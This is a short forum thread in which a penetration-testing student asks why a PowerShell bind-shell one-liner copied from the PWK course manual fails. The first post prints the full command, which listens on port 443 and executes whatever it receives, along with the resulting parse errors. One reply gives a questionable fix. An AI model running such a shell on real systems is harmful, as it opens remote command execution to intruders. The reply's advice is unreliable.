Results 1 to 3 of 3

Thread: Powershell bind code in manual PWK doesn't work

  1. #1
    Join Date
    2022-Jul
    Posts
    3

    Powershell bind code in manual PWK doesn't work

    Hi there,

    Since I am a newbie in Powershell but tend to master it, I have the following stupid question:

    I'd like to make a powershell bind connection with the example in the PWK manual (page 89) but it stuck with errors:

    This is the code from the manual which I used:

    powershell -c "$listener = New-Object System.Net.Sockets.TcpListener(?0.0.0.0? ,443);$listener.start( );$client = $listener.AcceptTcpClient();$stream =$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendb yte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ;$tistener.Stop()?
    And thiis is the error output after typing in Powershell:

    powershell : At line:1 char:69
    At line:1 char:1
    + powershell -c "$listener = New-Object System.Net.Sockets.TcpListener( ...
    + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~
    + CategoryInfo : NotSpecified: (At line:1 char:69:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

    + ... Object System.Net.Sockets.TcpListener('0.0.0.0' ,443);.start( ); = .A ...
    + ~
    An expression was expected after '('.
    At line:1 char:92
    + ... ts.TcpListener('0.0.0.0' ,443);.start( ); = .AcceptTcpClient(); =.Get ...
    + ~
    An expression was expected after '('.
    At line:1 char:107
    + ... '0.0.0.0' ,443);.start( ); = .AcceptTcpClient(); =.GetStream();[byte[ ...
    + ~
    An expression was expected after '('.
    At line:1 char:155
    + ... =.GetStream();[byte[]] = 0..65535|%{0};while(( = .Read(, 0, .Length ...
    + ~
    Missing expression after ','.
    At line:1 char:156
    + ... ream();[byte[]] = 0..65535|%{0};while(( = .Read(, 0, .Length)) -ne 0 ...
    + ~~~~~~~
    Unexpected token '.Length' in expression or statement.
    At line:1 char:155
    + ... =.GetStream();[byte[]] = 0..65535|%{0};while(( = .Read(, 0, .Length ...
    + ~
    Missing closing ')' in expression.
    At line:1 char:165
    + ... am();[byte[]] = 0..65535|%{0};while(( = .Read(, 0, .Length)) -ne 0){ ...
    + ~
    Missing statement body in while loop.
    At line:1 char:171
    + ... yte[]] = 0..65535|%{0};while(( = .Read(, 0, .Length)) -ne 0){; = (Ne ...
    + ~
    Unexpected token ')' in expression or statement.
    At line:1 char:236
    + ... = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(,0, ); = ...
    + ~
    Missing ')' in method call.
    At line:1 char:239
    + ... New-Object -TypeName System.Text.ASCIIEncoding).GetString(,0, ); = (i ...
    + ~
    Missing expression after ',' in pipeline element.
    Not all parse errors were reported. Correct the reported errors and try again.
    + CategoryInfo : ParserError: ( [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ExpectedExpression

  2. #2
    Join Date
    2021-May
    Location
    UK
    Posts
    772
    powershell -c "$listener = New-Object System.Net.Sockets.TcpListener(?0.0.0.0? ,443)

    for starters, you need to change the ?0.0.0.0? to the actual IP address you want to scan...

  3. #3
    Join Date
    2022-Jul
    Posts
    3
    Thank, but I find that strange.

    The Kali is listening with an target IPaddress already.

    So now the listener as the other machine both have an Ip Address in the code?

    That's not according to the manual.

    I'll try it and will come back

Similar Threads

  1. Powershell bind (connection) throws errors
    By Richard2022 in forum General Archive
    Replies: 1
    Last Post: 2022-08-04, 22:25
  2. Hdaudio hdaudioCOD2: Unable to bind the codec, system doesn't boot
    By SandroTrasportando in forum TroubleShooting Archive
    Replies: 0
    Last Post: 2020-01-27, 11:09
  3. Replies: 1
    Last Post: 2019-02-15, 04:17
  4. Replies: 7
    Last Post: 2016-07-29, 15:31

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •